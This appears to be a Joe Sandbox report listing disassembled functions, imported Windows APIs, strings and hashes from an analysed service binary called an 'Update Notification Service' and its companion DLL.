Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: bb16a7b3e3e618224ffaf8681bb99f7b7eedade10f219c40875930e32152d962
Instruction ID: 20058370d24f45e316c6e4d971f50ae49fd00d477215173bf89466d271f7bb38
Opcode Fuzzy Hash: bb16a7b3e3e618224ffaf8681bb99f7b7eedade10f219c40875930e32152d962
Instruction Fuzzy Hash: 3C216A20B0F24249FA74B321597163972929F44BF0F548734E96E06BD7EF2CE461A30C

Function 00007FFDAC090100 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FFDAC090131
GetLastError.KERNEL32 ref: 00007FFDAC09013D
CloseHandle.KERNEL32 ref: 00007FFDAC090155
CreateFileW.KERNEL32 ref: 00007FFDAC090180
WriteConsoleW.KERNEL32 ref: 00007FFDAC09019F

Strings

CONOUT$, xrefs: 00007FFDAC090161

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ba28877f08bf85aa9c21e7c9a24742ae6402465733c9a5e3506a903d1d24cb53
Instruction ID: f2d9db406b6c28c3681bf1c1f7687f7969d2c7e6f173af5da9effb1630ac19cb
Opcode Fuzzy Hash: ba28877f08bf85aa9c21e7c9a24742ae6402465733c9a5e3506a903d1d24cb53
Instruction Fuzzy Hash: B8118E21B19B4186E7508B52E864329B6A0FB88FF4F004234EA5E87BA6CF3CD564974C

Function 0000000140001270 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41registrysynchronizationCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerW.ADVAPI32 ref: 0000000140001282
CreateEventW.KERNEL32 ref: 00000001400012C0

Part of subcall function 0000000140003F80: InitializeCriticalSection.KERNEL32 ref: 0000000140003FA2
Part of subcall function 0000000140003F80: GetCurrentProcess.KERNEL32 ref: 0000000140003FF6
Part of subcall function 0000000140003F80: OpenProcessToken.ADVAPI32 ref: 0000000140004007
Part of subcall function 0000000140003F80: GetLastError.KERNEL32 ref: 0000000140004011
Part of subcall function 0000000140003F80: EnterCriticalSection.KERNEL32 ref: 00000001400040B3
Part of subcall function 0000000140003F80: LeaveCriticalSection.KERNEL32 ref: 000000014000412B
Part of subcall function 0000000140003F80: GetVersionExW.KERNEL32 ref: 0000000140004155
Part of subcall function 0000000140003F80: RpcSsDontSerializeContext.RPCRT4 ref: 000000014000416C
Part of subcall function 0000000140003F80: RpcServerUseProtseqEpW.RPCRT4 ref: 0000000140004189
Part of subcall function 0000000140003F80: RpcServerRegisterIfEx.RPCRT4 ref: 00000001400041B9
Part of subcall function 0000000140003F80: RpcServerListen.RPCRT4 ref: 00000001400041D3

SetServiceStatus.ADVAPI32 ref: 0000000140001302
WaitForSingleObject.KERNEL32 ref: 0000000140001312

Part of subcall function 00000001400042B0: EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042BB
Part of subcall function 00000001400042B0: CancelWaitableTimer.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042C8
Part of subcall function 00000001400042B0: SetEvent.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042D5
Part of subcall function 00000001400042B0: WaitForSingleObject.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042E7
Part of subcall function 00000001400042B0: TerminateThread.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042FD
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000430A
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004317
Part of subcall function 00000001400042B0: CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004324
Part of subcall function 00000001400042B0: RpcServerUnregisterIf.RPCRT4 ref: 0000000140004336
Part of subcall function 00000001400042B0: RpcMgmtStopServerListening.RPCRT4 ref: 000000014000433E
Part of subcall function 00000001400042B0: EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000435A
Part of subcall function 00000001400042B0: LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000437F
Part of subcall function 00000001400042B0: DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000438C
Part of subcall function 00000001400042B0: #4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043C0
Part of subcall function 00000001400042B0: LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043CC
Part of subcall function 00000001400042B0: DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043D9
Part of subcall function 00000001400042B0: #4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043E6

SetServiceStatus.ADVAPI32 ref: 000000014000134B

Strings

vseamps, xrefs: 000000014000127B

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalSection$Server$CloseEnterHandleLeaveService$DeleteEventObjectProcessRegisterSingleStatusWait$CancelContextCreateCtrlCurrentDontErrorHandlerInitializeLastListenListeningMgmtOpenProtseqSerializeStopTerminateThreadTimerTokenUnregisterVersionWaitable
String ID: vseamps
API String ID: 3197017603-3944098904
Opcode ID: 4fcaac044f33b8282c396f0e62c58db51f87a82aaa34d44751bf9634b5fd9f61
Instruction ID: 0252cca9582b7aeb0e5a7a434c8e7364f46e89616d8e728b6478e43ab65cb610
Opcode Fuzzy Hash: 4fcaac044f33b8282c396f0e62c58db51f87a82aaa34d44751bf9634b5fd9f61
Instruction Fuzzy Hash: B921A2B1625A009AEB02DF17FC85BD637A0B74C798F45621AB7498F275CB7EC148CB00

Function 00000001400011F0 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 24windowCOMMON

Download Yara Rule

APIs

sprintf_s.LIBCMTD ref: 0000000140001233
MessageBoxW.USER32 ref: 0000000140001249

Strings

usage: /service - creates the Update Notification Service /remove - removes the Update Notification Service from the sy, xrefs: 000000014000121D
Help, xrefs: 0000000140001238
10:52:57, xrefs: 000000014000120F
Jul 5 2019, xrefs: 0000000140001216

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Messagesprintf_s
String ID: 10:52:57$Help$Jul 5 2019$usage: /service - creates the Update Notification Service /remove - removes the Update Notification Service from the sy
API String ID: 2642950106-3610746849
Opcode ID: 3f0d62457ab29cf1d3a00b30af1be048753c3c69edf33eb8bb254d4fd9f99961
Instruction ID: 92f91a294e228129c374272f9a209b177778b3d46068e39525b46f8f62cf975d
Opcode Fuzzy Hash: 3f0d62457ab29cf1d3a00b30af1be048753c3c69edf33eb8bb254d4fd9f99961
Instruction Fuzzy Hash: 78F01DB1221A8595FB52EB61F8567D62364F78C788F811112BB4D0B6BADF3DC219C700

Function 0000000140002650 Relevance: 10.0, APIs: 8, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002666
HeapFree.KERNEL32 ref: 0000000140002674
GetProcessHeap.KERNEL32 ref: 0000000140002683
HeapFree.KERNEL32 ref: 0000000140002691
GetProcessHeap.KERNEL32 ref: 00000001400026A0
HeapFree.KERNEL32 ref: 00000001400026AE
GetProcessHeap.KERNEL32 ref: 00000001400026BD
HeapFree.KERNEL32 ref: 00000001400026CB

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 59e576179aebbdeaae5a9514a8abdff9d95dfae3be86bd59f8deebe969e5cf48
Instruction ID: 80974503ddc58818480ab649a73b779641f1d99de81085d1f592bfbfa5fc6ad1
Opcode Fuzzy Hash: 59e576179aebbdeaae5a9514a8abdff9d95dfae3be86bd59f8deebe969e5cf48
Instruction Fuzzy Hash: 9C01EDB8701B8041EB0BDFE7B60839992A2AB8DFD5F185024AF1D17779DE3AC4548700

Function 0000000140002970 Relevance: 10.0, APIs: 8, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 0000000140002986
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 0000000140002994
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029A3
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029B1
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029C0
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029CE
GetProcessHeap.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029DD
HeapFree.KERNEL32(?,?,?,0000000140002922), ref: 00000001400029EB

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 00b9fd02b01b7cf63ee49650963a307f7fdb827e7083e7606ed54f4b62f321e5
Instruction ID: 9f3d0c666f817a9e432213240f72880bf7997caebe097eb0308f7621ef9b933c
Opcode Fuzzy Hash: 00b9fd02b01b7cf63ee49650963a307f7fdb827e7083e7606ed54f4b62f321e5
Instruction Fuzzy Hash: 20010CB9601B8081EB4BDFE7B608399A2A2FB8DFD4F089024AF0917739DE39C4548200

Function 000000014000F680 Relevance: 9.2, APIs: 6, Instructions: 204COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F6E7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F6FD
GetStringTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F72B
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F799
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F84C
GetStringTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000014000FAB1), ref: 000000014000F911

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: StringType$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 319667368-0
Opcode ID: 2ce6724d946986cc12a56c103b001eb9d1b53e8cfd560fc16f2f6c38bb9960ce
Instruction ID: 469d978012ccf723a2c6c682b25d7e2ba576a75483cbf286a89393a26fd70a6f
Opcode Fuzzy Hash: 2ce6724d946986cc12a56c103b001eb9d1b53e8cfd560fc16f2f6c38bb9960ce
Instruction Fuzzy Hash: E3817EB2200B8096EB62DF27A4407E963A5F74CBE4F548215FB6D57BF4EB78C546A300

Function 000000014000ADE0 Relevance: 9.2, APIs: 6, Instructions: 167COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AE38
GetLastError.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AE4E

Part of subcall function 00000001400090F0: HeapAlloc.KERNEL32(?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423,?,?,?,000000014000FC9E), ref: 0000000140009151

MultiByteToWideChar.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AEDE
MultiByteToWideChar.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AF85
GetStringTypeW.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AF9C
GetStringTypeA.KERNEL32(?,?,?,?,00000001,?,?,000000014000B15C), ref: 000000014000AFFB

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: StringType$ByteCharMultiWide$AllocErrorHeapLast
String ID:
API String ID: 1390108997-0
Opcode ID: 5ea1a9254b1b0246406da4d01ea544830426ccb00ebf91cd2bb510eeaa7b453f
Instruction ID: bb54969f148ae750ab4279c880304e23b66920be01f6227d0c0ffa95ca0b2e73
Opcode Fuzzy Hash: 5ea1a9254b1b0246406da4d01ea544830426ccb00ebf91cd2bb510eeaa7b453f
Instruction Fuzzy Hash: 1B616CB22007818AEB62DF66E8407E967E1F74DBE4F144625FF5887BE5DB39C9418340

Function 00007FFDAC084CD4 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 319COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFDAC084E72
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFDAC08519B

Strings

csm, xrefs: 00007FFDAC084E1B
csm, xrefs: 00007FFDAC084E99
csm, xrefs: 00007FFDAC084DB9

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 7f01d96fb52924c6f5fc1d666da4b107b2a99de0eb80eb6c113e4145ccbd24ec
Instruction ID: 8472557886d6eeb6ee8208f22d64b3934028815341dc96c2cf46a9fc311ba589
Opcode Fuzzy Hash: 7f01d96fb52924c6f5fc1d666da4b107b2a99de0eb80eb6c113e4145ccbd24ec
Instruction Fuzzy Hash: A9E19132A097828AEB309F78D4603AD77A0FB457A8F158135DA8D57797CF38E4A1D708

Function 00007FFDAC0895BC Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFDAC088BC9,?,?,?,?,00007FFDAC088C14), ref: 00007FFDAC0895CB
FlsSetValue.KERNEL32(?,?,?,00007FFDAC088BC9,?,?,?,?,00007FFDAC088C14), ref: 00007FFDAC089601
FlsSetValue.KERNEL32(?,?,?,00007FFDAC088BC9,?,?,?,?,00007FFDAC088C14), ref: 00007FFDAC08962E
FlsSetValue.KERNEL32(?,?,?,00007FFDAC088BC9,?,?,?,?,00007FFDAC088C14), ref: 00007FFDAC08963F
FlsSetValue.KERNEL32(?,?,?,00007FFDAC088BC9,?,?,?,?,00007FFDAC088C14), ref: 00007FFDAC089650
SetLastError.KERNEL32(?,?,?,00007FFDAC088BC9,?,?,?,?,00007FFDAC088C14), ref: 00007FFDAC08966B

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 33ee88f61e6773b2952d25dee95f1e22d8cbd108a9fa28cb936705bbce5dbc3e
Instruction ID: 6f20fcceddb47c257b385d19bff2111c6c0186bb51a245ba5e9f9cdf7640955f
Opcode Fuzzy Hash: 33ee88f61e6773b2952d25dee95f1e22d8cbd108a9fa28cb936705bbce5dbc3e
Instruction Fuzzy Hash: C8113820B0F64246FA647321597127931969F84BF0F448735E92E06BDBDF2CE471A70C

Function 0000000140013850 Relevance: 9.0, APIs: 6, Instructions: 18synchronizationCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001385B
LeaveCriticalSection.KERNEL32 ref: 0000000140013872
SetEvent.KERNEL32 ref: 000000014001387F
WaitForSingleObject.KERNEL32 ref: 0000000140013891
CloseHandle.KERNEL32 ref: 000000014001389E
CloseHandle.KERNEL32 ref: 00000001400138AB

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterEventLeaveObjectSingleWait
String ID:
API String ID: 3326452711-0
Opcode ID: 090e3fcaa9eba1e18c75aea56b56e2fd2f402425d5e54323bcdd5196f3225223
Instruction ID: 377d3f5d57f943d14cdd7bc93d1ee7868a659259fbd0ecc80ccbf17849fffa4f
Opcode Fuzzy Hash: 090e3fcaa9eba1e18c75aea56b56e2fd2f402425d5e54323bcdd5196f3225223
Instruction Fuzzy Hash: 71F00274611D05D5EB029F53EC953942362B79CBD5F590111EB0E8B270DF3A8599C705

Function 0000000140003790 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 00000001400037D3
#4.VSELOG ref: 0000000140003823
EnterCriticalSection.KERNEL32 ref: 000000014000382F
LeaveCriticalSection.KERNEL32 ref: 00000001400038B7

Strings

amps_Exec: pHandle=%p, execId=%d, iParam=%d, xrefs: 000000014000380B

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CriticalSection$EnterLeaveTimerWaitable
String ID: amps_Exec: pHandle=%p, execId=%d, iParam=%d
API String ID: 2984211723-1229430080
Opcode ID: 8fa1b459277aeb819b509878b21750225505e1aa195fd5cfddc3614e408b1588
Instruction ID: 21f659f61b14fb79d6609d2ab4e2a3109e2b4daa988e78f6170daec752ad98bd
Opcode Fuzzy Hash: 8fa1b459277aeb819b509878b21750225505e1aa195fd5cfddc3614e408b1588
Instruction Fuzzy Hash: 2C311375614B4082EB228F56F890B9A7360F78CBE4F480225FB6C4BBB4DF7AC5858740

Function 00007FFDAC087F28 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FFDAC087F4D
GetProcAddress.KERNEL32 ref: 00007FFDAC087F63
FreeLibrary.KERNEL32 ref: 00007FFDAC087F8A

Strings

CorExitProcess, xrefs: 00007FFDAC087F5C
mscoree.dll, xrefs: 00007FFDAC087F44

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0eaf2309885660167acf271fd0a1c535a59c62651c8a9772c1b781fc3320bbcf
Instruction ID: 861f30f6e18e9e41b2c068874627be075b5c45f2111c6147ffe9eed4c0536d53
Opcode Fuzzy Hash: 0eaf2309885660167acf271fd0a1c535a59c62651c8a9772c1b781fc3320bbcf
Instruction Fuzzy Hash: FBF06261B1B60285EB208B29E4653396720AF887F1F540335DA6D463FACF3CD469E74C

Function 0000000140008510 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 16libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000028,0000000140009145,?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423), ref: 000000014000851F
GetProcAddress.KERNEL32(?,?,00000028,0000000140009145,?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423), ref: 0000000140008534
ExitProcess.KERNEL32 ref: 0000000140008545

Strings

CorExitProcess, xrefs: 000000014000852A
mscoree.dll, xrefs: 0000000140008518

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$mscoree.dll
API String ID: 75539706-1276376045
Opcode ID: 4ddf6373e7a566e00e4fa2e7ca5c7f01cf3397e3372fa5b750933ca2dd1c2c09
Instruction ID: f47e7dafb9c87e29c0f228a4507f2bac89d7b1d3f8a3a9cfd33eb857191fa9e3
Opcode Fuzzy Hash: 4ddf6373e7a566e00e4fa2e7ca5c7f01cf3397e3372fa5b750933ca2dd1c2c09
Instruction Fuzzy Hash: 3AE04CB0711A0052FF5A9F62BC947E823517B5DB85F481429AA5E4B3B1EE7D85888340

Function 00007FFDAC0840D4 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FFDAC0841F7
__AdjustPointer.LIBCMT ref: 00007FFDAC084242

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 50c4e1713d184cdf0fe8662c588dfc2dc4bd464af84c2e8e24b447969137b9d6
Instruction ID: a7dfda48d7a832d2e6d36119519b2cbac14c07a9a0431d00c032da6129f4bb55
Opcode Fuzzy Hash: 50c4e1713d184cdf0fe8662c588dfc2dc4bd464af84c2e8e24b447969137b9d6
Instruction Fuzzy Hash: 6FB18A22B0F68281EA75CAA594706397790AF54BE4F49C835DB4C0778BDF2CE462A30C

Function 0000000140009F50 Relevance: 7.7, APIs: 5, Instructions: 208COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32 ref: 0000000140009F76

Part of subcall function 0000000140008370: Sleep.KERNEL32(?,?,00000000,0000000140005545), ref: 00000001400083C0

GetFileType.KERNEL32 ref: 000000014000A11C

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
